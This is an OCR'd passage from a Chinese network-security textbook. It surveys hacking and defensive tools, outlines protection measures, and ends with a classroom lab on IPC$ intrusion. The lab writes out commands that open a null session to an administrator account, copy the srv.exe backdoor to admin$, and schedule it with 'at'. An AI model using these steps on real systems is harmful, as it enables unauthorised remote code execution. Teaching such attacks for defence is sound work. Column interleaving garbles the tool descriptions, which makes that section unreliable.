都 达到 了 自己 入 侵 的 目的 ,因此 如 何 进入 系统 ,对 于 某 些 喜欢 系统 攻击 的 黑客 来 说 无 关 
紧要 。 

5) 监听 类 软件 

通过 监听 ,黑客 可 以 截获 网 络 的 信息 包 , 之 后 对 加 密 的 信息 包 进 行 破解 ,进而 分 析 包 内 
的 数据 ,获得 有 关系 统 的 信息 ; 也 可 能 截获 个 人 上 网 的 信息 包 , 分 析 得 到 上 网 账号 、 系 统 账 
号 .电子 邮件 账号 等 个 人 隐私 资料 。 网 络 数据 大 多 经 过 加 密 , 所 以 用 它 来 获得 密码 比较 艰 
难 , 因 而 在 更 多 的 情况 下 ,这 类 软件 是 提供 给 程序 开发 者 或 者 网 络 管理 员 的 ,他 们 利用 这 类 
软件 进行 程序 的 调试 或 服务 器 的 管理 工作 。 


7.4.2 黑客 工具 软件 介绍 


1. 国产 经 典 软件 简介 

D 漳 雪 一 一 密码 探测 器 

利用 漳 雪 可 以 轻松 地 完成 基于 Web 形式 的 各 种 密码 猜测 工作 ,如 E-mail, Forum 中 的 
注册 用 户 密码 等 。 软 件 采取 多 线程 编写 ,除了 支持 字典 和 穷 举 以 外 ,软件 最 大 的 特色 是 可 以 
自己 编写 猜测 规则 ,如 可 以 按照 中 文 拼 音 或 者 英文 单词 拼写 规则 随机 组 合 出 字典 文件 ,最 大 
程度 上 保证 了 猜测 的 准确 性 。 

2) 乱 刀 一 一 密码 破解 

乱 刀 可 以 破解 UNIX 系统 中 的 密码 暗 文 ,对 于 取得 了 etc/passwd 文件 的 黑客 来 说 这 是 
必 不 可 少 的 。 

3) 天 网 一 一 防火 墙 软件 

中 国 第 一 套 通过 公安 部 认证 的 软 硬 件 集成 防火 墙 , 能 有 效 地 防止 黑客 入 侵 ,抵御 来 自 外 
部 网 络 的 攻击 ,保证 内 部 系统 的 资料 不 被 盗 取 , 它 根据 系统 管理 者 设 定 的 安全 规则 把 守 企业 
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控制 .虚拟 网 桥 等 功能 。 
4) 冰河 一 一 木马 类 软件 


免费 网 络 协议 分 析 工具 ,这 个 工具 的 特点 是 界面 简单 实用 ,与 国外 的 一 些 Sniffer 产品 


国内 响当当 的 木马 软件 ,主要 用 于 远程 监控 。 自 动 跟踪 屏幕 变化 、 记 录 各 种 口令 信息 、 
相 比 ,如 Netxray ,结果 更 为 直观 。 此 软件 为 免费 版 本 ,只 能 运行 在 Windows NT 系统 下 , 同 


获取 系统 信息 、 限 制 系统 功能 ,任意 操作 文件 及 注册 表 、 和 远程 关机 ,发 送信 息 等 多 种 监控 功 
能 。 此 软件 的 一 大 特色 是 可 以 由 使 用 者 自己 设置 需要 占用 的 端口 ,如 此 一 来 监控 类 软件 就 


很 难 从 端口 号 上 直接 判断 系统 是 否 存 在 冰河 了 。 
5) 小 分 析 家 一 一 监测 类 软件 


时 编写 此 软件 的 公司 还 提供 了 软件 的 商业 版 本 “网 警 ”。 


Zy 
6) 快速 搜索 一 一 端口 扫描 器 
快速 搜索 是 一 个 在 网 络 上 搜索 服务 器 的 软件 ,可 以 根据 给 定 的 地 址 和 端口 号 查找 机 器 。 
具有 多 线程 同时 搜索 技术 ,可 以 将 搜索 速度 提高 到 单线 程 的 10 倍 以 上 。 


1) Local Port Scanner 一 一 本 地 端口 扫描 器 


2. 常见 网 络 安全 软件 简介 
通过 这 个 软件 可 以 监测 本 地 计算 机 被 打开 的 端口 。 此 软件 可 以 监测 大 多 数 黑客 入 侵 或 
者 木马 占用 的 端口 , 它 有 5 种 不 同 的 扫描 方式 并 可 以 获得 有 关 端 口 的 详细 扫描 信息 。 


A-spy 可 以 监测 Windows 系统 启动 过 程 中 调用 的 所 有 程序 执行 的 进程 ,并 将 结果 保 


2) A-spy 一 一 系统 进程 查看 器 

存在 日 志文 件 中 。 这 个 软件 的 用 途 是 检查 系统 是 否 被 安置 了 木马 程序 ,同时 软件 还 可 以 对 
系统 启动 需要 调用 的 程序 进行 增加 、 删 除 和 编辑 等 操作 ,改变 调用 程序 之 间 的 先后 顺序 , 软 
件 支持 包括 NT、2000 在 内 的 所 有 Windows 平台 ,具有 17 种 方式 清除 木马 程序 。 


3) Netmon 一 一 图 形 化 Netstat 命令 
Netmon 是 图 形 化 的 Netstat 命令 , 它 运行 在 Windows 系统 中 ,可 以 查看 系统 的 TCP、 


全 
UDP 连接 状态 ,同时 此 软件 提供 了 一 份 完 整 的 木马 .蠕虫 占用 端口 清单 ,可 以 快速 了 解 系统 
是 否 存在 安全 问题 。 
4) LANguard Network Scanner 一 一 局 域 网 资料 收集 器 
LANguard 允许 使 用 者 扫描 局 域 网 内 部 的 计算 机 ,收集 它们 的 netbios 信息 、 打 开端 口 、 
共享 情况 和 其 他 相关 资料 ,这 些 资 料 可 以 被 黑客 利用 进行 攻击 ,也 可 以 被 管理 员 利 用 进行 安 
全 维护 ,通过 它 可 以 强行 关闭 指定 端口 和 共享 目录 。 
5) Leechsoft’s NetMonitor — TCP/IP 状态 分 析 程 序 
这 个 软件 可 以 显示 计算 机 在 上 网 状态 下 存在 的 TCP/IP 连接 ,同时 还 能 分 析 是 否 有 其 
E 在 监视 上 网 者 计算 机 中 的 某 个 端口 ,同时 此 工具 内 部 还 有 一 个 功能 强大 的 端口 扫描 


他 人 了 


程序 。 


6) Attacker 一 一 端口 监听 程序 
告 信息 ,保证 个 人 上 网 隐私 的 安全 性 。 


这 是 一 个 TCP/UDP 端口 监听 程序 , 它 可 以 常 驻 系 统 并 在 危险 端口 打开 的 时 候 发 出 警 
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7) Isecure IP Scanner 一 一 netbios 共享 扫描 器 

黑客 利用 netbios 的 共享 可 以 进入 存在 问题 的 计算 机 并 对 硬盘 进行 操作 ,同时 还 可 以 
获得 入侵 计算 机 上 的 隐私 资料 。 这 个 扫描 器 就 是 专门 为 防止 此 类 事件 发 生 开 发 的 ,运行 软 
件 会 自动 扫描 目标 并 报告 有 关 资 料 。 

8) AnalogX Port Blocker 一 一 端口 屏蔽 程序 

当 使 用 者 的 计算 机 上 开放 某 个 端口 时 ,任何 人 都 可 以 通过 其 开放 端口 访问 相应 资源 ,而 
AnalogX Port Blocker 可 以 屏蔽 某 个 端口 ,或 者 设置 特殊 IP 地 址 禁止 对 指定 端口 的 请 求 ， 
这 从 一 定 程 度 上 方便 了 程序 调试 人 员 为 在 本 地 系统 上 从 事 软件 的 测试 工作 。 

9) bu Dummy Server 一 一 端口 屏蔽 程序 

这 个 工具 同上 面 一 个 程序 的 功能 是 一 样 的 ,不 过 不 同 的 是 这 个 工具 是 基于 控制 台 模 式 ， 
更 加 适合 于 高 手 。 

10) bu Registry Edit 一 一 注册 表 修改 程序 

该 程序 可 以 让 使 用 者 手动 修改 系统 注册 表 中 的 各 项 键 值 , 从 而 改变 系统 的 性 能 ,同时 软 
件 中 保存 了 网 络 上 常见 的 具有 破坏 性 程序 的 资料 ,可 以 迅速 确定 系统 注册 表 中 是 否 有 可 疑 
程序 ,并 提供 了 清除 和 备份 等 功能 。 


7.5 黑客 攻击 防范 


在 网 络 环境 下 ,由 于 种 种 原因 ,网 络 被 和 人 侵 和 攻击 是 难免 的 。 但 是 ,通过 加 强 管 理 和 采 
用 必要 的 技术 手段 可 以 减少 入侵 和 攻击 行为 ,避免 因 入 侵 和 攻击 造成 的 各 种 损失 。 下 面 就 
介绍 几 种 主要 的 防范 入 侵 和 攻击 的 技术 措施 。 

防范 黑客 攻击 ,要 从 以 下 几 个 方面 人 手 : 网 络 访问 控制 技术 、 防 火 墙 技术 、 数 据 加 密 技 
术 、 入 侵 检 测 技术 安全 和 审计、 网络 安全 管理 ,发 现 黑客 入 侵 后 的 对 策 等 。 


7.5.1 网 络 访问 控制 技术 


网 络 访问 控制 技术 是 网 络 安全 防范 和 保护 的 主要 核心 策略 , 它 的 主要 任务 是 保证 网 络 
资源 不 被 非法 使 用 和 访问 。 访 问 控制 规定 了 主体 对 客体 访问 的 限制 ,并 在 身份 识别 的 基础 
上 ,根据 身份 对 提出 资源 访问 的 请 求 加 以 控制 。 网 络 访问 控制 技术 是 对 网 络 信息 系统 资源 
进行 保护 的 重要 措施 ,也 是 计算 机 系统 中 最 重要 和 最 基础 的 安全 机 制 。 

入 网 访问 控制 通过 对 用 户 名 、 用 户 密码 和 用 户 账号 默认 权限 的 综合 验证 ,检查 来 限制 用 
户 对 网 络 的 访问 , 它 能 控制 哪些 用 户 、 在 什么 时 间 以 及 使 用 哪 台 主 机 入 网 。 入 网 访问 控制 为 
网 络 访问 提供 了 第 一 层 访问 控制 。 

网 络 用 户 一 般 分 为 三 类 : 系统 管理 员 用 户 、 普 通用 户 和 审计 用 户 。 系 统管 理 员 用 户 负 
责 网 络 系统 的 配置 和 管理 ; 普通 用 户 由 系统 管理 员 创建 并 根据 他 们 的 实际 需要 为 其 分 配 权 
R: 审计 用 户 负 责 网 络 系统 的 安全 控制 和 资源 使 用 情况 的 审计 。 用 户 入 网 后 就 可 以 根据 自 
身 的 权限 访问 网 络 资源 。 权 限 控 制 通过 访问 控制 表 来 规范 和 限制 用 户 对 网 络 资源 访问 , 访 
问 控 制 表 中 规定 了 用 户 可 以 访问 哪些 目录 、 子 目录 ,文件 和 其 他 资源 ,指定 用 户 对 这 些 文件 、 
目录 等 资源 能 够 执行 哪些 操作 。 
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7.5.2 防火 墙 技术 


防火 墙 是 一 种 高 级 访问 控制 设备 ,是 置 于 不 同 网 络 安全 域 之 间 的 一 系列 部 件 的 组 合 ,是 
不 同 网 络 安全 域 间 通信 流 的 唯一 通道 , 它 能 根据 有 关 的 安全 策略 控制 (允许 拒绝、 监视. 记 
录 ) 进 出 网 络 的 访问 行为 。 防 火 墙 是 网 络 安全 的 屏障 ,是 提供 安全 信息 服务 .实现 网 络 安全 
的 基础 设施 之 一 。 

防火 墙 能 极 大 地 提高 一 个 内 部 网 络 的 安全 性 ,防止 来 自 被 保护 区 域外 部 的 攻击 ,并 通过 
过 滤 不 安全 的 服务 而 降低 风险 ; 能 防止 内 部 信息 外 泄 和 屏 项 有 害 信息 ,利用 防火 墙 对 内 部 
网 络 的 划分 ,可 以 实现 内 部 网 络 重点 网 段 的 隔离 ,限制 安全 问题 扩散 ,从 而 降低 了 局 部 重点 
或 敏感 网 络 安全 问题 对 全 局 网 络 造成 的 影响 ; 能 强化 网 络 安全 策略 ,将 局 域 网 的 安全 管理 
集中 在 一 起 ,便于 统一 管理 和 执行 安全 策略 ; 能 严格 监控 和 审计 进出 网 络 的 信息 ,如 果 所 有 
的 访问 都 经 过 防火 墙 ,那么 防火 墙 就 能 记录 下 这 些 访问 并 做 出 日 志 记录 ,同时 也 能 提供 网 络 
使 用 情况 的 统计 数据 。 当 发 生 可 疑 动作 时 ,防火墙 能 进行 适当 的 报警 ,并 提供 网 络 是 否 受到 
监测 和 攻击 的 详细 信息 。 


7.5.3 数据 加 密 技 术 


数据 加 密 技术 要 求 只 有 在 指定 的 用 户 或 网 络 下 ,才能 解除 密码 而 获得 原来 的 数据 ,这 就 
需要 给 数据 发 送 方 和 接收 方 以 一 些 特殊 的 信息 用 于 加 解密 ,这 就 是 所 谓 的 密 钥 。 其 密 钥 的 
值 是 从 大 量 的 随机 数 中 选取 的 。 按 加 密 算法 分 为 专用 密 钥 和 公开 密 钥 两 种 。 

数据 加 密实 质 上 是 对 以 符号 为 基础 的 数据 进行 移 位 和 置换 的 变换 算法 ,这 种 变换 受 “ 密 
钥 " 控 制 。 常 用 的 数据 加 密 技术 有 私 用 密 钥 加 密 技术 和 公开 密 钥 加 密 技术 。 私 用 密 钥 加 密 
技术 利用 同一 个 密 钥 对 数据 进行 加 密 和 解密 ,这 个 密 钥 必须 秘密 保管 ,只 能 为 授权 用 户 所 
知 , 授 权 用 户 既 可 以 用 该 密 钥 加 密 信息 ,也 可 以 用 该 密 钥 解密 信息 。DES 是 私 用 密 钥 加 密 
技术 中 最 具 代 表 性 的 算法 。 公 开 密 钥 加 密 技术 采用 两 个 不 同 的 密 钥 进行 加 密 和 解密 ,这 两 
个 密 钥 是 公 钥 和 私 钥 。 如 果 用 公 钥 对 数据 进行 加 密 , 只 有 用 对 应 的 私 钥 才 能 进行 解密 ; 如 
果 用 私 钥 对 数据 进行 加 密 , 则 只 有 用 对 应 的 公 钥 才能 解密 。 公 钥 是 公开 的 ,任何 人 可 以 用 公 
钥 加 密 信息 ,再 将 密 文 发 送 给 私 钥 拥 有 者 。 私 钥 是 保密 的 ,用 于 解密 其 接收 的 用 公 钥 加 密 过 
的 信息 。 目 前 比较 安全 的 采用 公开 密 钥 加 密 技 术 的 算法 主要 有 RSA 算法 及 其 变种 Rabin 
算法 等 。 


7.5.4 入 侵 检 测 技术 


入 侵 检 测 是 对 传统 安全 产品 的 合理 补充 ,帮助 系统 对 付 网 络 攻击 ,扩展 了 系统 管理 员 的 
安全 管理 能 力 (包括 安全 审计 ,监视 .进攻 识别 和 响应 ) ,提高 了 信息 安全 基础 结构 的 完整 性 。 

它 从 计算 机 网 络 系 统 中 的 若干 关键 点 收集 信息 ,并 分 析 这 些 信息 ,查看 网 络 中 是 否 有 违 
反 安全 策略 的 行为 和 遭 到 袭击 的 迹象 。 入 侵 检 测 被 认为 是 防火 墙 之 后 的 第 二 道 安全 疗 门 ， 
在 不 影响 网 络 性 能 的 情况 下 能 对 网 络 进行 监测 ,从 而 提供 对 内 部 攻击 、 外 部 攻击 和 误 操作 的 
实时 保护 。 它 能 监视 分 析 用 户 及 系统 活动 ,查找 用 户 的 非法 操作 ,评估 重要 系统 和 数据 文件 
的 完整 性 ,检测 系统 配置 的 正确 性 ,提示 管理 员 修 补 系统 漏洞 ; 能 实时 地 对 检测 到 的 入 侵 行 
为 进行 反应 ,在 入 侵 攻 击 对 系统 发 生 危 害 前 利用 报警 与 防护 系统 驱逐 入 侵 攻击 ,在 人 侵 攻击 
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过 程 中 减少 人 侵 攻击 所 造成 的 损失 ,在 被 人 侵 攻击 后 收集 入 侵 攻击 的 相关 信息 ,作为 防范 系 
统 的 知识 ,添加 入 侵 策略 集中 ,增强 系统 的 防范 能 力 ,避免 系统 再 次 受到 同类 型 的 入侵 攻击 。 

入 侵 检测 作为 一 个 动态 安全 防护 技术 ,提供 了 对 内 部 攻击 、 外 部 攻击 和 误 操作 的 实时 保 
护 ,在 网 络 系统 受到 危害 之 前 拦截 和 响应 和 人 侵 , 它 与 静态 安全 防御 技术 (防火 墙 ) 相 互 配合 可 
构成 坚固 的 网 络 安全 防御 体系 。 


7.5.5 安全 审计 


网 络 安全 审计 就 是 对 企业 网 络 安全 的 脆弱 性 进行 测试 .评估 、 分 析 的 过 程 。 它 就 是 在 一 
个 特定 的 网 络 环境 下 ,为 了 保障 网 络 和 数据 不 受 来 自 外 网 和 内 网 用 户 的 入侵 和 破坏 ,而 运用 
各 种 技术 手段 实时 收集 和 监控 网 络 环境 中 每 一 个 组 成 部 分 的 系统 状态 ,安全 事件 ,以 便 集中 
报警 分析、 处理 的 一 种 技术 手段 。 它 是 一 种 积极 .主动 的 安全 防御 技术 ,其 目的 是 为 了 在 最 
大 限度 内 保障 网 络 与 信息 的 安全 。 

网 络 安全 是 动态 的 ,对 已 经 建立 的 系统 ,如 果 没 有 实时 的 、 集 中 的 可 视 化 审计 ,就 不 能 及 
时 评估 系统 的 安全 性 和 发 现 系统 中 存在 的 安全 隐患 。 

计算 机 网 络 安全 审计 主要 包括 对 操作 系统 数据库.Web 邮件 系统 、 网 络 设备 和 防火 墙 
等 项 目的 安全 审计 ,加 强 安 全 教育 ,增强 安全 责任 意识 。 目 前 ,网 络 安全 审计 系统 主要 包括 : 
采集 多 种 类 型 的 日 志 数据 .日志 管理 .日 志 查 询 . 人 侵 检测 .自动 生成 安全 分 析 报 告 、 网 络 状 
态 实 时 监视 ,事件 响应 机 制 .集中 管理 等 功能 。 


7.5.6 网 络 安全 管理 


安全 管理 就 是 指 为 实现 信息 安全 的 目标 而 采取 的 一 系列 管理 制度 和 技术 手段 ,包括 安 
全 检测 ,监控 响应 和 调整 的 全 部 控制 过 程 。 需 要 指出 的 是 ,不 论 多 么 先进 的 安全 技术 ,都 只 
是 实现 信息 安全 管理 的 手段 而 已 ,信息 安全 源 于 有 效 地 管理 ,要 使 先进 的 安全 技术 发 挥 较 好 
的 效果 ,就 必须 统一 安全 管理 平台 来 总 体 配置 .调控 整个 网 络 多 层面 ,分 布 式 的 安全 系统 , 实 
现 对 各 种 网 络 安全 资源 的 集中 监控 、 统 一 策略 管理 .智能 审计 及 多 种 安全 功能 模块 之 间 的 互 
动 , 从 而 有 效 简化 网 络 安全 管理 工作 ,提升 网 络 的 安全 水 平和 可 控制 性 、 可 管理 性 ,降低 用 户 
的 整体 安全 管理 开销 。 


7.5.7 发 现 黑客 入 侵 后 的 对 策 


首先 估计 形势 , 当 证 实 遭 到 入 侵 时 ,采取 的 第 一 步行 动 是 尽 可 能 快 地 估计 入 侵 造 成 的 破 
坏 程度 ; 然后 要 采取 以 下 措施 。 

(1) 杀 死 这 个 进程 来 切断 黑客 与 系统 的 连接 。 

(2) 使 用 工具 询问 他 们 究 竞 想 要 做 什么 。 

(3) 跟踪 这 个 连接 , 找 出 黑客 的 来 路 和 身份 。 

(A) 管理 员 可 以 使 用 一 些 工 具 来 监视 黑客 ,观察 他 们 在 做 什么 。 这 些 工具 包括 Snoop, 
PS, lastcomm 和 ttywatch 等 。 

(5) ps、w 和 who 这 些 命令 可 以 报告 每 一 个 用 户 使 用 的 终端 。 如 果 黑 客 是 从 一 个 终端 
访问 系统 ,这 种 情况 不 太 好 ,因为 这 需要 事先 与 电话 公司 联系 。 

(6) 使 用 who fil netstat 可 以 发 现 人 侵 者 从 哪个 主机 上 入 侵 , 然 后 可 以 使 用 finger 命令 
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来 查看 哪些 用 户 登录 远程 系统 。 
(7) 修复 安全 漏洞 并 恢复 系统 ,不 给 黑客 留 有 可 乘 之 机 。 


实 训 7 IPC $ 攻击 及 防御 


1. 实 训 目 的 

掌握 如 何 用 IPC $ 进行 系统 攻击 的 方法 ,进而 更 好 地 防范 此 类 的 攻击 。 

2. 实 训 内 容 

a) 了 解 IPC$ 。 

(2) 掌握 一 些 IPC $ 攻击 相关 命令 。 

G) IPC$ 经典 入 侵 方 式 。 

(4) 如 何 防范 IPC $ 入 侵 。 

3. 实 训 设备 

安装 Windows XP 操作 系统 的 PC 一 台 。 

4. 实 训 步骤 

1) IPC$ 简介 

IPC $ (Internet Process Connection) 是 共享 “命名 管道 ”的 资源 , 它 是 为 了 让 进程 间 通 
信和 而 开放 的 命名 管道 ,可 以 通过 验证 用 户 名 和 密码 获得 相应 的 权限 ,在 远程 管理 计算 机 和 查 
看 计算 机 的 共享 资源 时 使 用 。 

利用 IPC $ ,连接 者 甚至 可 以 与 目标 主机 建立 一 个 空 的 连接 而 无 需 用 户 名 与 密码 ,然而 
利用 这 个 空 的 连接 ,连接 者 还 有 可 能 得 到 目标 主机 上 的 用 户 列表 。 

HES IPC $ 并 不 是 真正 意义 上 的 漏洞 , 它 是 为 了 方便 管理 员 的 远程 管理 而 开放 的 远程 
网 络 登 录 功 能 ,而 且 还 打开 了 默认 共享 , 即 所 有 的 逻辑 盘 (c$ dG pe $ eee ) 和 系统 目录 
Winnt 或 Windows(admin $ )。 所 有 的 这 些 , 初 衷 都 是 为 了 方便 管理 员 的 管理 ,但 一 些 攻击 
者 会 利用 IPC $ ,访问 共享 资源 ,导出 用 户 列表 ,并 使 用 一 些 字典 工具 ,进行 密码 探测 , 寄 希 
望 于 获得 更 高 的 权限 ,从 而 达到 不 可 告 人 的 目的 。 

这 里 大 家 需要 注意 的 是 ,IPC $ 连接 是 Windows NT 及 以 上 系统 具有 的 远程 网 络 登 录 
功能 ,其 功能 相当 于 UNIX 中 的 Telnet. FHF IPC $ 功能 需要 用 到 Windows NT 中 的 很 多 
DLL 函数 ,因此 不 能 在 Windows 9. x 中 运行 。 

即使 是 空 连接 也 不 是 100% 都 能 建立 成 功 ,如 果 对 方 关闭 了 IPC $ 共享 ,就 无 法 建立 连 
接 。 并 不 是 说 建立 了 IPC$ 连接 就 可 以 查看 对 方 的 用 户 列表 ,因为 管理 员 可 以 禁止 导出 用 
户 列表 。 
建立 IPC $ 连接 在 黑客 攻击 中 有 哪些 作用 呢 ? 就 像 前 面 所 说 的 ,如 果 攻 击 者 建立 了 一 
个 空 的 连接 ,就 可 以 获得 不 少 的 信息 (而 这 些 信 息 往往 是 入 侵 中 必 不 可 少 的 ) ,访问 部 分 共享 
资源 ; 如 果 攻 击 者 能 够 以 某 一 个 具有 一 定 权限 的 用 户 身 份 登录 的 话 ,那么 就 会 得 到 相应 的 
权限 。 显 然 , 如 果 是 以 管理 员 的 身份 登录 ,基本 上 可 以 获取 目标 信息 、 管 理 目 标 进 程 和 服务 ， 
上 传 木马 并 运行 ; 如 果 是 以 Windows 2000 Server 登录 ,还 可 以 考虑 开启 终端 服务 ,方便 
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控制 。 

2) IPC $ 攻击 相关 命令 

在 进行 IPC$ 攻击 前 , 先 了 解 一 些 命令 。 

(1) net 命令 。net 命令 是 很 多 网 络 命令 的 集合 ,在 Windows NT/Windows 2000 内 ,很 
多 网 络 功 能 都 是 以 net 命令 开始 的 ,通过 net help 可 以 看 到 这 些 命令 的 详细 介绍 。 

net config: 显示 系统 网 络 设 置 。 

net diag: 运行 MS 的 Diagnostics 程序 显示 网 络 的 Diagnostics 信息 。 

net help: 显示 帮助 信息 。 

net init, 不 通过 绑 定 来 加 载 协议 或 网 卡 驱动 。 

net logoff: 断 开 连接 的 共享 资源 。 

net logon; 在 Workgroup 中 登录 。 

net password: 改变 系统 登录 密码 。 

net print: 显示 或 控制 打印 作业 及 打印 队列 。 

net start: 启动 服务 或 显示 已 启动 服务 的 列表 。 

net stop: 停止 网 络 服务 。 

net times 使 计算 机 的 时 钟 与 另 一 台 计 算 机 或 域 的 时 间 同 步 。 

net use: 连接 计算 机 或 断 开 计算 机 与 共享 资源 的 连接 ,或 显示 计算 机 的 连接 信息 。 

net ver: 显示 局 域 网 内 正在 使 用 的 网 络 连接 类 型 和 信息 。 

net view: 显示 域 列 表 、 计 算 机 列表 或 指定 计算 机 的 共享 资源 列表 。 例 如 ,在 控制 台 
输入 “net view \\202. 96. 50.24” 则 可 以 获得 对 应 IP 的 系统 共享 目录 ,进而 找到 它们 的 共享 
文件 ,当然 这 需要 202. 96. 50. 24 系统 的 确 存 在 共享 目录 ,具体 如 何 找 到 这 些 存 在 共享 的 系 
统 ,将 会 在 后 面 的 文章 中 进行 介绍 。 

(2) telnet 和 ftp 命令 。 这 两 个 命令 分 别 可 以 远程 对 系统 进行 telnet 登录 和 ftp 登录 ， 
两 种 登录 使 用 不 同 的 协议 ,分 别 属于 两 种 不 同 的 网 络 服务 ,ftp 是 远程 文件 共享 服务 ,也 就 是 
说 学 习 者 可 以 将 自己 的 资料 上 传 . 下 载 ,但 是 它 并 没有 过 多 的 权利 ,无 法 在 远程 计算 机 上 执 
行 上 传 的 文件 ; 而 telnet 则 属于 远程 登录 服务 ,也 就 是 说 可 以 登录 到 远程 系统 上 ,并 获得 一 
个 解释 器 权限 ,拥有 解释 器 就 意味 着 拥有 了 一 定 的 权限 ,这 种 权限 可 能 是 基本 的 文件 操作 ， 
也 可 能 是 可 以 控制 系统 的 管理 员 权 限 。 

(3) netstat 命令 。 这 个 程序 有 助 于 学 习 者 了 解 网 络 的 整体 使 用 情况 。 它 可 以 显示 当前 
正在 活动 的 网 络 连接 的 详细 信息 ,如 采用 的 协议 类 型 .当前 主机 与 远 端 相连 主机 (一 个 或 多 个 ) 
的 他 地址 以 及 它们 之 间 的 连接 状态 等 。 使 用 netstat ? 可 以 显示 它 的 命令 格式 和 参数 说 明 


netstat [-a] [-e] [-n] [-s] [-p proto] [-r] [interval] 


其 中 的 参数 说 明 如 下 。 

-a 显示 所 有 主机 的 端口 号 。 

-e 显示 以 太 网 统计 信息 。 

-n 以 数字 表格 形式 显示 地 址 和 端口 。 

-p proto 显示 特定 的 协议 的 具体 使 用 信息 。 
工 显 示 本 机 路 由 表 的 内 容 。 
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-s 显示 每 个 协议 的 使 用 状态 (包括 TCP, UDP,IP). 

interval 重新 显示 所 选 的 状态 ,每 次 显示 之 间 的 间隔 数 (单位 秒 ) 。 

netstat 命令 的 主要 用 途 是 检测 本 地 系统 开放 的 端口 ,这 样 做 可 以 了 解 自己 的 系统 开放 
了 什么 服务 ,还 可 以 初步 推断 系统 是 否 存 在 木马 ,因为 常见 的 网 络 服 务 开放 的 默认 端口 轻易 
不 会 被 木马 占用 。 例 如 ,用 于 FTP( 文 件 传输 协议 ) 的 端口 是 21 ,用 于 Telnet( 远 程 登录 协 
议 ) 的 端口 是 23 ,用 于 SMTP( 邮 件 传输 协议 ) 的 端口 是 25, 用 于 DNS( 域 名 服务 , 即 域名 与 
IP 之 间 的 转换 ) 的 端口 是 53, 用 于 HTTP( 超 文本 传输 协议 ) 的 端口 是 80, 用 于 POP3( 电 子 
邮件 的 一 种 接收 协议 ) 的 端口 是 110, Windows 中 开放 的 端口 是 139。 除 此 以 外 ,如 果 系 统 
中 还 有 其 他 陌生 的 端口 ,就 可 能 是 木马 程序 使 用 的 了 。 通 过 netstat 或 者 netstat-a 可 以 观 
察 开放 的 端口 ,如 果 发 现下 面 的 端口 ,就 说 明 已 经 有 木马 程序 在 系统 中 存在 。 

31337 号 端口 是 BackOffice 木马 的 默认 端口 ; 1999 是 Yai 木马 程序 ; 2140 或 者 3150 
都 是 DEEP THROAT 木马 使 用 的 端口 ; 还 有 NETBUS ,冰河 或 者 SUB7 等 木马 程序 都 可 
以 自 定义 端口 ,因此 发 现 了 陌生 端口 一 定 要 提高 警惕 ,使 用 防火 墙 或 者 查 病 毒 软件 进行 
检测 。 

(A) tracert 命令 。 这 个 命令 的 功能 是 判定 数据 包 到 达 目 的 主机 所 经 过 的 路 径 、 显 示 数 
据 包 经 过 的 中 继 节点 清单 和 到 达 时 间 。tracert 命令 的 格式 如 下 : 


tracert [ - d] [ - h maximum_hops] [ - j host - list] [ -w timeout] target name 


命令 行 中 的 参数 说 明 如 下 。 

-d 是 要 求 tracert 不 对 主机 名 进行 解析 。 

-h 是 指定 搜索 到 目的 地 址 的 最 大 轮 数 。 

-j 的 功能 是 沿 着 主机 列表 释放 源 路 由 。 

-w 用 来 设置 超时 时 间 间 隔 。 

通过 tracert 可 以 判断 一 个 服务 器 是 属于 国内 还 是 国外 (网 络 服务 器 的 物理 未 知 不 能 依 
靠 域名 进行 判断 ) ,根据 路 由 路 径 可 以 判断 信息 从 自己 的 系统 发 送 到 网 络 上 ,先后 经 过 了 哪 
些 IP 到 达 对 方 服务 器 ,学 习 者 只 有 清楚 了 自己 的 信息 的 传送 路 径 , 才 能 够 更 清晰 了 解 网 络 ， 
对 服务 器 进行 攻击 。 

(5) winipefg 和 ipconfig 命令 。winipcfg 和 ipconfig 都 是 用 来 显示 主机 内 IP 协议 的 配 
置信 息 。 只 是 winipefg 适用 于 Windows 95/Windows 98. 而 ipconfig 适用 于 Windows 
NT。winipcfg 不 使 用 参数 ,直接 运行 它 , 它 就 会 采用 Windows 窗口 的 形式 显示 具体 信息 。 
这 些 信息 包括 网 络 适配器 的 物理 地 址 、 主 机 的 IP 地 址 、 子 网 掩 码 以 及 默认 网 关 等 , 单 击 其 中 
的 “其 他 信息 ”, 还 可 以 查看 主机 的 相关 信息 ,如 主机 名 、DNS 服务 器 、 节 点 类 型 等 。 其 中 网 
络 适 配器 的 物理 地 址 在 检测 网 络 错误 时 非常 有 用 。 

ipconfig 的 命令 格式 如 下 : 


ipconfig [/? | /all | /release [adapter] | /renew[adapter]] 


其 中 的 参数 说 明 如 下 。 

/? 显示 ipconfig 的 格式 和 参数 的 英文 说 明 。 

/all 显示 所 有 的 配置 信息 。 

/release 为 指定 的 适配器 (或 全 部 适配器 ) 释 放 IP 地 址 (只 适用 于 DHCP). 
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/renew 为 指定 的 适配器 (或 全 部 适配器 ) 更 新 IP 地 址 (只 适用 于 DHCP). 

/all , 则 可 以 得 到 更 多 的 信息 : 主机 名 、DNS 服务 器 、 节 点 类 型 .网 络 适配器 的 物理 地 
址 .主机 的 IP 地 址 、 子 网 掩 码 以 及 默认 网 关 等 。 

使 用 不 带 参 数 的 ipconfig 命令 可 以 得 到 以 下 信息 : IP 地 址 、 子 网 掩 码 、 默 认 网 关 。 

3) IPC$ 经 典 入 侵 方 式 

(1) 假如 使 用 流光 工具 扫描 到 一 个 用 户 名 为 administrators, %0 A“ 2” AY IP 地 址 ,如 
果 是 打算 攻击 的 话 ,就 可 以 使 用 下 面 的 net 命令 来 与 127. 0. 0. 1 建立 一 个 连接 。 


C:\> net use \\127.0.0.1\IPC$ "" /user:"administrators" 


因为 密码 为 “ 空 *, 所 以 第 一 个 引号 处 就 不 用 输入 ,后 面 一 个 双 引 号 里 的 是 用 户 名 ,输入 
“administrators”, 命 令 即 可 成 功 完成 。 

(2) C:\>copy srv. exe \\127. 0. 0. 1\admin $ 。 首 先 复 制 srv. exe 上 去 ,在 流光 的 
Tools 目录 下 就 有 (这 里 的 $ 是 指 admin 用 户 的 C:\winnt\system32\, 大 家 还 可 以 使 用 
c$ .d$ ,意思 是 C 盘 与 DD 盘 , 这 看 你 要 复制 到 什么 地 方 去 了 )。 

(3) C:\>net time \\127.0.0.1。 查 看 时 间 ,发 现 127. 0.0.1 的 当前 时 间 是 2012/12/ 
19 上 午 11:00, 命 令 成 功 完成 。 

(4) C:\>œat \\127. 0.0.1 11:05 srv. exe。 用 at 命令 定时 在 11:05 启动 srv. exe( 这 里 
设置 的 时 间 要 比 主机 时 间 快 ) 

(5) C:\>net time \\127.0.0.1。 再 查看 到 时 间 没 有 ? 如 果 127.0.0.1 的 当前 时 间 是 
